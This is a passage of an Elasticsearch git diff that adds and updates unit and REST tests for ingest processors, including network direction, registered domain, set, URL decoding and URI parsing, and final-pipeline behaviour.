assertThat(networkProcessor.getIgnoreMissing(), equalTo(true)); + } +} diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/NetworkDirectionProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/NetworkDirectionProcessorTests.java new file mode 100644 index 0000000000000..7788ba1963c15 --- /dev/null +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/NetworkDirectionProcessorTests.java @@ -0,0 +1,209 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.ingest.TestTemplateService; +import org.elasticsearch.ElasticsearchParseException; +import org.elasticsearch.ingest.TestTemplateService; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.ArrayList; +import java.util.Map; + +import static org.elasticsearch.ingest.common.NetworkDirectionProcessor.Factory.DEFAULT_TARGET; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; + +public class NetworkDirectionProcessorTests extends ESTestCase { + private Map buildEvent() { + return buildEvent("128.232.110.120"); + } + + private Map buildEvent(String source) { + return buildEvent(source, "66.35.250.204"); + } + + private Map buildEvent(String source, String destination) { + return new HashMap<>() { + { + put("source", new HashMap() { + { + put("ip", source); + } + }); + put("destination", new HashMap() { + { + put("ip", destination); + } + }); + } + }; + } + + public void testNoInternalNetworks() throws Exception { + ElasticsearchParseException e = expectThrows( + ElasticsearchParseException.class, + () -> testNetworkDirectionProcessor(buildEvent(), null) + ); + assertThat(e.getMessage(), containsString("[internal_networks] or [internal_networks_field] must be specified")); + } + + public void testNoSource() throws Exception { + IllegalArgumentException e = expectThrows( + IllegalArgumentException.class, + () -> testNetworkDirectionProcessor(buildEvent(null), new String[] { "10.0.0.0/8" }) + ); + assertThat(e.getMessage(), containsString("unable to calculate network direction from document")); + } + + public void testNoDestination() throws Exception { + IllegalArgumentException e = expectThrows( + IllegalArgumentException.class, + () -> testNetworkDirectionProcessor(buildEvent("192.168.1.1", null), new String[] { "10.0.0.0/8" }) + ); + assertThat(e.getMessage(), containsString("unable to calculate network direction from document")); + } + + public void testIgnoreMissing() throws Exception { + testNetworkDirectionProcessor(buildEvent(null), new String[] { "10.0.0.0/8" }, null, true); + } + + public void testInvalidSource() throws Exception { + IllegalArgumentException e = expectThrows( + IllegalArgumentException.class, + () -> testNetworkDirectionProcessor(buildEvent("invalid"), new String[] { "10.0.0.0/8" }) + ); + assertThat(e.getMessage(), containsString("'invalid' is not an IP string literal.")); + } + + public void testInvalidDestination() throws Exception { + IllegalArgumentException e = expectThrows( + IllegalArgumentException.class, + () -> testNetworkDirectionProcessor(buildEvent("192.168.1.1", "invalid"), new String[] { "10.0.0.0/8" }) + ); + assertThat(e.getMessage(), containsString("'invalid' is not an IP string literal.")); + } + + public void testInvalidNetwork() throws Exception { + IllegalArgumentException e = expectThrows( + IllegalArgumentException.class, + () -> testNetworkDirectionProcessor(buildEvent("192.168.1.1", "192.168.1.1"), new String[] { "10.0.0.0/8", "invalid" }) + ); + assertThat(e.getMessage(), containsString("'invalid' is not an IP string literal.")); + } + + public void testCIDR() throws Exception { + testNetworkDirectionProcessor(buildEvent("10.0.1.1", "192.168.1.2"), new String[] { "10.0.0.0/8" }, "outbound"); + testNetworkDirectionProcessor(buildEvent("192.168.1.2", "10.0.1.1"), new String[] { "10.0.0.0/8" }, "inbound"); + } + + public void testUnspecified() throws Exception { + testNetworkDirectionProcessor(buildEvent("0.0.0.0", "0.0.0.0"), new String[] { "unspecified" }, "internal"); + testNetworkDirectionProcessor(buildEvent("::", "::"), new String[] { "unspecified" }, "internal"); + } + + public void testNetworkPrivate() throws Exception { + testNetworkDirectionProcessor(buildEvent("192.168.1.1", "192.168.1.2"), new String[] { "private" }, "internal"); + testNetworkDirectionProcessor(buildEvent("10.0.1.1", "192.168.1.2"), new String[] { "private" }, "internal"); + testNetworkDirectionProcessor(buildEvent("192.168.1.1", "172.16.0.1"), new String[] { "private" }, "internal"); + testNetworkDirectionProcessor(buildEvent("192.168.1.1", "fd12:3456:789a:1::1"), new String[] { "private" }, "internal"); + } + + public void testNetworkPublic() throws Exception { + testNetworkDirectionProcessor(buildEvent("192.168.1.1", "192.168.1.2"), new String[] { "public" }, "external"); + testNetworkDirectionProcessor(buildEvent("10.0.1.1", "192.168.1.2"), new String[] { "public" }, "external"); + testNetworkDirectionProcessor(buildEvent("192.168.1.1", "172.16.0.1"), new String[] { "public" }, "external"); + testNetworkDirectionProcessor(buildEvent("192.168.1.1", "fd12:3456:789a:1::1"), new String[] { "public" }, "external"); + } + + private void testNetworkDirectionProcessor(Map source, String[] internalNetworks) throws Exception { + testNetworkDirectionProcessor(source, internalNetworks, ""); + } + + private void testNetworkDirectionProcessor(Map source, String[] internalNetworks, String expectedDirection) + throws Exception { + testNetworkDirectionProcessor(source, internalNetworks, expectedDirection, false); + } + + public void testReadFromField() throws Exception { + String processorTag = randomAlphaOfLength(10); + Map source = buildEvent("192.168.1.1", "192.168.1.2"); + ArrayList networks = new ArrayList<>(); + networks.add("public"); + source.put("some_field", networks); + + Map config = new HashMap<>(); + config.put("internal_networks_field", "some_field"); + NetworkDirectionProcessor processor = new NetworkDirectionProcessor.Factory(TestTemplateService.instance()).create( + null, + processorTag, + null, + config + ); + IngestDocument input = new IngestDocument(source, Map.of()); + IngestDocument output = processor.execute(input); + String hash = output.getFieldValue(DEFAULT_TARGET, String.class); + assertThat(hash, equalTo("external")); + } + + public void testInternalNetworksAndField() throws Exception { + String processorTag = randomAlphaOfLength(10); + Map source = buildEvent("192.168.1.1", "192.168.1.2"); + ArrayList networks = new ArrayList<>(); + networks.add("public"); + source.put("some_field", networks); + Map config = new HashMap<>(); + config.put("internal_networks_field", "some_field"); + config.put("internal_networks", networks); + ElasticsearchParseException e = expectThrows( + ElasticsearchParseException.class, + () -> new NetworkDirectionProcessor.Factory(TestTemplateService.instance()).create( + null, + processorTag, + null, + config + ) + ); + assertThat(e.getMessage(), containsString( + "[internal_networks] and [internal_networks_field] cannot both be used in the same processor" + )); + } + + private void testNetworkDirectionProcessor( + Map source, + String[] internalNetworks, + String expectedDirection, + boolean ignoreMissing + ) throws Exception { + List networks = null; + + if (internalNetworks != null) networks = Arrays.asList(internalNetworks); + + String processorTag = randomAlphaOfLength(10); + Map config = new HashMap<>(); + config.put("internal_networks", networks); + config.put("ignore_missing", ignoreMissing); + NetworkDirectionProcessor processor = new NetworkDirectionProcessor.Factory(TestTemplateService.instance()).create( + null, + processorTag, + null, + config + ); + + IngestDocument input = new IngestDocument(source, Map.of()); + IngestDocument output = processor.execute(input); + + String hash = output.getFieldValue(DEFAULT_TARGET, String.class, ignoreMissing); + assertThat(hash, equalTo(expectedDirection)); + } +} diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java new file mode 100644 index 0000000000000..f47db1e9a09a1 --- /dev/null +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorFactoryTests.java @@ -0,0 +1,68 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.elasticsearch.ElasticsearchParseException; +import org.elasticsearch.test.ESTestCase; +import org.junit.Before; + +import java.util.HashMap; +import java.util.Map; + +import static org.hamcrest.CoreMatchers.equalTo; + +public class RegisteredDomainProcessorFactoryTests extends ESTestCase { + + private RegisteredDomainProcessor.Factory factory; + + @Before + public void init() { + factory = new RegisteredDomainProcessor.Factory(); + } + + public void testCreate() throws Exception { + Map config = new HashMap<>(); + + String field = randomAlphaOfLength(6); + config.put("field", field); + String targetField = randomAlphaOfLength(6); + config.put("target_field", targetField); + boolean ignoreMissing = randomBoolean(); + config.put("ignore_missing", ignoreMissing); + + String processorTag = randomAlphaOfLength(10); + RegisteredDomainProcessor publicSuffixProcessor = factory.create(null, processorTag, null, config); + assertThat(publicSuffixProcessor.getTag(), equalTo(processorTag)); + assertThat(publicSuffixProcessor.getTargetField(), equalTo(targetField)); + assertThat(publicSuffixProcessor.getIgnoreMissing(), equalTo(ignoreMissing)); + } + + public void testCreateDefaults() throws Exception { + Map config = new HashMap<>(); + + String field = randomAlphaOfLength(6); + config.put("field", field); + + String processorTag = randomAlphaOfLength(10); + RegisteredDomainProcessor publicSuffixProcessor = factory.create(null, processorTag, null, config); + assertThat(publicSuffixProcessor.getTargetField(), equalTo(RegisteredDomainProcessor.Factory.DEFAULT_TARGET_FIELD)); + } + + + public void testFieldRequired() throws Exception { + HashMap config = new HashMap<>(); + String processorTag = randomAlphaOfLength(10); + try { + factory.create(null, processorTag, null, config); + fail("factory create should have failed"); + } catch (ElasticsearchParseException e) { + assertThat(e.getMessage(), equalTo("[field] required property is missing")); + } + } +} diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java new file mode 100644 index 0000000000000..c75ae93a1923e --- /dev/null +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/RegisteredDomainProcessorTests.java @@ -0,0 +1,144 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.common; + +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.test.ESTestCase; + +import java.util.HashMap; +import java.util.Map; + +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; + +public class RegisteredDomainProcessorTests extends ESTestCase { + private Map buildEvent(String domain) { + return new HashMap<>() { + { + put("domain", domain); + } + }; + } + + public void testBasic() throws Exception { + testRegisteredDomainProcessor(buildEvent("www.google.com"), "www.google.com", "google.com", "com", "www"); + testRegisteredDomainProcessor(buildEvent("google.com"), "google.com", "google.com", "com", null); + testRegisteredDomainProcessor(buildEvent(""), null, null, null, null); + testRegisteredDomainProcessor(buildEvent("."), null, null, null, null); + testRegisteredDomainProcessor(buildEvent("$"), null, null, null, null); + testRegisteredDomainProcessor(buildEvent("foo.bar.baz"), null, null, null, null); + testRegisteredDomainProcessor( + buildEvent("1.www.global.ssl.fastly.net"), + "1.www.global.ssl.fastly.net", + "www.global.ssl.fastly.net", + "global.ssl.fastly.net", + "1" + ); + testRegisteredDomainProcessor( + buildEvent("www.books.amazon.co.uk"), + "www.books.amazon.co.uk", + "amazon.co.uk", + "co.uk", + "www.books" + ); + } + + public void testUseRoot() throws Exception { + Map source = buildEvent("www.google.co.uk"); + + String domainField = "domain"; + String registeredDomainField = "registered_domain"; + String topLevelDomainField = "top_level_domain"; + String subdomainField = "subdomain"; + + var processor = new RegisteredDomainProcessor( + null, + null, + "domain", + "", + false + ); + + IngestDocument input = new IngestDocument(source, Map.of()); + IngestDocument output = processor.execute(input); + + String domain = output.getFieldValue(domainField, String.class); + assertThat(domain, equalTo("www.google.co.uk")); + String registeredDomain = output.getFieldValue(registeredDomainField, String.class); + assertThat(registeredDomain, equalTo("google.co.uk")); + String eTLD = output.getFieldValue(topLevelDomainField, String.class); + assertThat(eTLD, equalTo("co.uk")); + String subdomain = output.getFieldValue(subdomainField, String.class); + assertThat(subdomain, equalTo("www")); + } + + public void testError() throws Exception { + IllegalArgumentException e = expectThrows( + IllegalArgumentException.class, + () -> testRegisteredDomainProcessor(buildEvent("foo.bar.baz"), null, null, null, null, false) + ); + assertThat(e.getMessage(), containsString("unable to set domain information for document")); + e = expectThrows( + IllegalArgumentException.class, + () -> testRegisteredDomainProcessor( + buildEvent("$"), + null, + null, + null, + null, + false + ) + ); + assertThat(e.getMessage(), containsString("unable to set domain information for document")); + } + + private void testRegisteredDomainProcessor( + Map source, + String expectedDomain, + String expectedRegisteredDomain, + String expectedETLD, + String expectedSubdomain + ) throws Exception { + testRegisteredDomainProcessor(source, expectedDomain, expectedRegisteredDomain, expectedETLD, expectedSubdomain, true); + } + + private void testRegisteredDomainProcessor( + Map source, + String expectedDomain, + String expectedRegisteredDomain, + String expectedETLD, + String expectedSubdomain, + boolean ignoreMissing + ) throws Exception { + String domainField = "url.domain"; + String registeredDomainField = "url.registered_domain"; + String topLevelDomainField = "url.top_level_domain"; + String subdomainField = "url.subdomain"; + + var processor = new RegisteredDomainProcessor( + null, + null, + "domain", + "url", + ignoreMissing + ); + + IngestDocument input = new IngestDocument(source, Map.of()); + IngestDocument output = processor.execute(input); + + String domain = output.getFieldValue(domainField, String.class, expectedDomain == null); + assertThat(domain, equalTo(expectedDomain)); + String registeredDomain = output.getFieldValue(registeredDomainField, String.class, expectedRegisteredDomain == null); + assertThat(registeredDomain, equalTo(expectedRegisteredDomain)); + String eTLD = output.getFieldValue(topLevelDomainField, String.class, expectedETLD == null); + assertThat(eTLD, equalTo(expectedETLD)); + String subdomain = output.getFieldValue(subdomainField, String.class, expectedSubdomain == null); + assertThat(subdomain, equalTo(expectedSubdomain)); + } +} diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ScriptProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ScriptProcessorTests.java index 6386386ecb5b2..bae8ed6f3023f 100644 --- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ScriptProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/ScriptProcessorTests.java @@ -24,6 +24,7 @@ import java.util.HashMap; import java.util.Map; +import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.hasKey; import static org.hamcrest.core.Is.is; @@ -45,6 +46,7 @@ Script.DEFAULT_SCRIPT_LANG, new MockScriptEngine( Integer bytesIn = (Integer) ctx.get("bytes_in"); Integer bytesOut = (Integer) ctx.get("bytes_out"); ctx.put("bytes_total", bytesIn + bytesOut); + ctx.put("_dynamic_templates", Map.of("foo", "bar")); return null; } ), @@ -84,5 +86,6 @@ private void assertIngestDocument(IngestDocument ingestDocument) { assertThat(ingestDocument.getSourceAndMetadata(), hasKey("bytes_total")); int bytesTotal = ingestDocument.getFieldValue("bytes_in", Integer.class) + ingestDocument.getFieldValue("bytes_out", Integer.class); assertThat(ingestDocument.getSourceAndMetadata().get("bytes_total"), is(bytesTotal)); + assertThat(ingestDocument.getSourceAndMetadata().get("_dynamic_templates"), equalTo(Map.of("foo", "bar"))); } } diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/SetProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/SetProcessorTests.java index 096574fdcf606..fefe8f918dfda 100644 --- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/SetProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/SetProcessorTests.java @@ -17,9 +17,17 @@ import org.elasticsearch.test.ESTestCase; import org.hamcrest.Matchers; +import java.util.ArrayList; +import java.util.Date; import java.util.HashMap; +import java.util.HashSet; +import java.util.List; import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; +import java.util.stream.IntStream; +import static org.hamcrest.Matchers.arrayContainingInAnyOrder; import static org.hamcrest.Matchers.equalTo; public class SetProcessorTests extends ESTestCase { @@ -130,18 +138,117 @@ public void testSetMetadataIfPrimaryTerm() throws Exception { assertThat(ingestDocument.getFieldValue(Metadata.IF_PRIMARY_TERM.getFieldName(), Long.class), Matchers.equalTo(ifPrimaryTerm)); } + public void testSetDynamicTemplates() throws Exception { + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random()); + int iters = between(1, 3); + for (int i = 0; i < iters; i++) { + Map dynamicTemplates = IntStream.range(0, between(0, 3)).boxed() + .collect(Collectors.toMap(n -> "field-" + n, n -> randomFrom("int", "geo_point", "keyword"))); + Processor processor = createSetProcessor(Metadata.DYNAMIC_TEMPLATES.getFieldName(), dynamicTemplates, null, true, false); + processor.execute(ingestDocument); + assertThat(ingestDocument.getFieldValue(Metadata.DYNAMIC_TEMPLATES.getFieldName(), Map.class), equalTo(dynamicTemplates)); + } + } + public void testCopyFromOtherField() throws Exception { Map document = new HashMap<>(); Object fieldValue = RandomDocumentPicks.randomFieldValue(random()); document.put("field", fieldValue); IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); - String fieldName = RandomDocumentPicks.randomExistingFieldName(random(), ingestDocument); + String fieldName; + if (document.size() > 1) { + // select an existing field as target if one exists other than the copy_from field + do { + fieldName = RandomDocumentPicks.randomExistingFieldName(random(), ingestDocument); + } while (fieldName.equals("field") || fieldName.startsWith("field.")); + } else { + // otherwise make up a new target field + fieldName = randomAlphaOfLength(6); + } Processor processor = createSetProcessor(fieldName, null, "field", true, false); processor.execute(ingestDocument); assertThat(ingestDocument.hasField(fieldName), equalTo(true)); - assertThat(ingestDocument.getFieldValue(fieldName, Object.class), equalTo(fieldValue)); + Object copiedValue = ingestDocument.getFieldValue(fieldName, Object.class); + if (fieldValue instanceof Map) { + assertMapEquals(copiedValue, fieldValue); + } else { + assertThat(copiedValue, equalTo(fieldValue)); + } + } + + private static void assertMapEquals(Object actual, Object expected) { + if (expected instanceof Map) { + Map expectedMap = (Map) expected; + Map actualMap = (Map) actual; + assertThat(actualMap.keySet().toArray(), arrayContainingInAnyOrder(expectedMap.keySet().toArray())); + for (Map.Entry entry : actualMap.entrySet()) { + if (entry.getValue() instanceof Map) { + assertMapEquals(entry.getValue(), expectedMap.get(entry.getKey())); + } else { + assertThat(entry.getValue(), equalTo(expectedMap.get(entry.getKey()))); + } + } + } + } + + public void testCopyFromDeepCopiesNonPrimitiveMutableTypes() throws Exception { + final String originalField = "originalField"; + final String targetField = "targetField"; + Processor processor = createSetProcessor(targetField, null, originalField, true, false); + + // map types + Map document = new HashMap<>(); + Map originalMap = new HashMap<>(); + originalMap.put("foo", "bar"); + document.put(originalField, originalMap); + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + IngestDocument output = processor.execute(ingestDocument); + originalMap.put("foo", "not-bar"); + Map outputMap = output.getFieldValue(targetField, Map.class); + assertThat(outputMap.get("foo"), equalTo("bar")); + + // set types + document = new HashMap<>(); + Set originalSet = randomUnique(() -> randomAlphaOfLength(5), 5); + Set preservedSet = new HashSet<>(originalSet); + document.put(originalField, originalSet); + ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + originalSet.add(randomValueOtherThanMany(originalSet::contains, () -> randomAlphaOfLength(5))); + assertThat(ingestDocument.getFieldValue(targetField, Object.class), equalTo(preservedSet)); + + // list types + document = new HashMap<>(); + List originalList = randomList(1, 5, () -> randomAlphaOfLength(5)); + List preservedList = new ArrayList<>(originalList); + document.put(originalField, originalList); + ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + originalList.add(randomValueOtherThanMany(originalList::contains, () -> randomAlphaOfLength(5))); + assertThat(ingestDocument.getFieldValue(targetField, Object.class), equalTo(preservedList)); + + // byte[] types + document = new HashMap<>(); + byte[] originalBytes = randomByteArrayOfLength(10); + byte[] preservedBytes = new byte[originalBytes.length]; + System.arraycopy(originalBytes, 0, preservedBytes, 0, originalBytes.length); + document.put(originalField, originalBytes); + ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + originalBytes[0] = originalBytes[0] == 0 ? (byte) 1 : (byte) 0; + assertThat(ingestDocument.getFieldValue(targetField, Object.class), equalTo(preservedBytes)); + + // Date types + document = new HashMap<>(); + Date originalDate = new Date(); + Date preservedDate = new Date(originalDate.getTime()); + document.put(originalField, originalDate); + ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + originalDate.setTime(originalDate.getTime() + 1); + assertThat(ingestDocument.getFieldValue(targetField, Object.class), equalTo(preservedDate)); } private static Processor createSetProcessor(String fieldName, Object fieldValue, String copyFrom, boolean overrideEnabled, diff --git a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/URLDecodeProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/URLDecodeProcessorTests.java index a22d65810ca76..7e9e3ddc39eac 100644 --- a/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/URLDecodeProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/URLDecodeProcessorTests.java @@ -10,6 +10,7 @@ import java.io.UnsupportedEncodingException; import java.net.URLDecoder; +import java.util.List; public class URLDecodeProcessorTests extends AbstractStringProcessorTestCase { @Override @@ -30,4 +31,30 @@ protected String expectedResult(String input) { throw new IllegalArgumentException("invalid"); } } + + @Override + protected boolean isSupportedValue(Object value) { + // some random strings produced by the randomized test framework contain invalid URL encodings + if (value instanceof String) { + return isValidUrlEncodedString((String) value); + } else if (value instanceof List) { + for (Object o : (List) value) { + if ((o instanceof String) == false || isValidUrlEncodedString((String) o) == false) { + return false; + } + } + return true; + } else { + throw new IllegalArgumentException("unexpected type"); + } + } + + private static boolean isValidUrlEncodedString(String s) { + try { + URLDecoder.decode(s, "UTF-8"); + return true; + } catch (Exception e) { + return false; + } + } } diff --git a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/UriPartsProcessorFactoryTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/UriPartsProcessorFactoryTests.java similarity index 91% rename from x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/UriPartsProcessorFactoryTests.java rename to modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/UriPartsProcessorFactoryTests.java index fd8c737de9c30..08e99326330ae 100644 --- a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/UriPartsProcessorFactoryTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/UriPartsProcessorFactoryTests.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.ElasticsearchParseException; import org.elasticsearch.test.ESTestCase; diff --git a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/UriPartsProcessorTests.java b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/UriPartsProcessorTests.java similarity index 85% rename from x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/UriPartsProcessorTests.java rename to modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/UriPartsProcessorTests.java index a379f3040bd19..40b8bb24f65d9 100644 --- a/x-pack/plugin/ingest/src/test/java/org/elasticsearch/xpack/ingest/UriPartsProcessorTests.java +++ b/modules/ingest-common/src/test/java/org/elasticsearch/ingest/common/UriPartsProcessorTests.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.ingest; +package org.elasticsearch.ingest.common; import org.elasticsearch.ingest.IngestDocument; import org.elasticsearch.test.ESTestCase; @@ -147,6 +148,37 @@ public void testUriParts() throws Exception { ); } + public void testUrlWithCharactersNotToleratedByUri() throws Exception { + testUriParsing( + "http://www.google.com/path with spaces", + Map.of("scheme", "http", "domain", "www.google.com", "path", "/path with spaces") + ); + + testUriParsing( + "https://user:pw@testing.google.com:8080/foo with space/bar?foo1=bar1&foo2=bar2#anchorVal", + Map.of( + "scheme", + "https", + "domain", + "testing.google.com", + "fragment", + "anchorVal", + "path", + "/foo with space/bar", + "port", + 8080, + "username", + "user", + "password", + "pw", + "user_info", + "user:pw", + "query", + "foo1=bar1&foo2=bar2" + ) + ); + } + public void testRemoveIfSuccessfulDoesNotRemoveTargetField() throws Exception { String field = "field"; UriPartsProcessor processor = new UriPartsProcessor(null, null, field, field, true, false); diff --git a/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/10_basic.yml b/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/10_basic.yml index 8a803eae1fc3d..835349bec143e 100644 --- a/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/10_basic.yml +++ b/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/10_basic.yml @@ -14,12 +14,15 @@ - contains: { nodes.$master.modules: { name: ingest-common } } - contains: { nodes.$master.ingest.processors: { type: append } } - contains: { nodes.$master.ingest.processors: { type: bytes } } + - contains: { nodes.$master.ingest.processors: { type: community_id } } - contains: { nodes.$master.ingest.processors: { type: convert } } + - contains: { nodes.$master.ingest.processors: { type: csv } } - contains: { nodes.$master.ingest.processors: { type: date } } - contains: { nodes.$master.ingest.processors: { type: date_index_name } } - contains: { nodes.$master.ingest.processors: { type: dissect } } - contains: { nodes.$master.ingest.processors: { type: dot_expander } } - contains: { nodes.$master.ingest.processors: { type: fail } } + - contains: { nodes.$master.ingest.processors: { type: fingerprint } } - contains: { nodes.$master.ingest.processors: { type: foreach } } - contains: { nodes.$master.ingest.processors: { type: grok } } - contains: { nodes.$master.ingest.processors: { type: gsub } } @@ -28,6 +31,7 @@ - contains: { nodes.$master.ingest.processors: { type: json } } - contains: { nodes.$master.ingest.processors: { type: kv } } - contains: { nodes.$master.ingest.processors: { type: lowercase } } + - contains: { nodes.$master.ingest.processors: { type: network_direction } } - contains: { nodes.$master.ingest.processors: { type: remove } } - contains: { nodes.$master.ingest.processors: { type: rename } } - contains: { nodes.$master.ingest.processors: { type: script } } @@ -36,3 +40,5 @@ - contains: { nodes.$master.ingest.processors: { type: split } } - contains: { nodes.$master.ingest.processors: { type: trim } } - contains: { nodes.$master.ingest.processors: { type: uppercase } } + - contains: { nodes.$master.ingest.processors: { type: uri_parts } } + - contains: { nodes.$master.ingest.processors: { type: urldecode } } diff --git a/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/240_required_pipeline.yml b/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/240_required_pipeline.yml index 87979b8c6319d..611d43dd493b3 100644 --- a/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/240_required_pipeline.yml +++ b/modules/ingest-common/src/yamlRestTest/resources/rest-api-spec/test/ingest/240_required_pipeline.yml @@ -5,6 +5,21 @@ teardown: id: "my_pipeline" ignore: 404 + - do: + ingest.delete_pipeline: + id: "final_pipeline_1" + ignore: 404 + + - do: + ingest.delete_pipeline: + id: "final_pipeline_2" + ignore: 404 + + - do: + ingest.delete_pipeline: + id: "change_target_index" + ignore: 404 + --- "Test index with final pipeline": - do: @@ -164,3 +179,97 @@ teardown: - match: { docs.5._source.bytes_source_field: "3kb" } - match: { docs.5._source.bytes_target_field: 3072 } - match: { docs.5._source.ran_script: true } + +--- +"Test final pipeline when target index is changed": + - do: + ingest.put_pipeline: + id: "final_pipeline_1" + body: > + { + "description": "_description", + "processors": [ + { + "set" : { + "field" : "final_pipeline_1", + "value" : true + } + } + ] + } + - match: { acknowledged: true } + + - do: + ingest.put_pipeline: + id: "final_pipeline_2" + body: > + { + "description": "_description", + "processors": [ + { + "set" : { + "field" : "final_pipeline_2", + "value" : true + } + } + ] + } + - match: { acknowledged: true } + + - do: + ingest.put_pipeline: + id: "change_target_index" + body: > + { + "description": "_description", + "processors": [ + { + "set" : { + "field" : "_index", + "value" : "index_with_final_pipeline_2" + } + } + ] + } + - match: { acknowledged: true } + + - do: + indices.create: + index: index_with_final_pipeline_1 + body: + settings: + index: + final_pipeline: "final_pipeline_1" + + - do: + indices.create: + index: index_with_final_pipeline_2 + body: + settings: + index: + final_pipeline: "final_pipeline_2" + + # changing the target index will change the final pipeline to the re-targeted index + - do: + index: + index: index_with_final_pipeline_1 + id: 1 + pipeline: "change_target_index" + body: {foo: "bar"} + + # document not present in index that was replaced with re-targeted index + - do: + catch: missing + get: + index: index_with_final_pipeline_1 + id: 1 + - match: { found: false } + + # document present in re-targeted index and re-targeted index's final pipeline was executed + - do: + get: + index: index_with_final_pipeline_2 + id: 1 + - match: { _source.foo: "bar" } + - match: { _source.final_pipeline_2: true } + - is_false: _source.final_pipeline_1 diff --git a/modules/ingest-geoip/build.gradle b/modules/ingest-geoip/build.gradle index b6f403d806426..a5a303da1d3d4 100644 --- a/modules/ingest-geoip/build.gradle +++ b/modules/ingest-geoip/build.gradle @@ -9,6 +9,7 @@ import org.apache.tools.ant.taskdefs.condition.Os apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -24,14 +25,39 @@ dependencies { 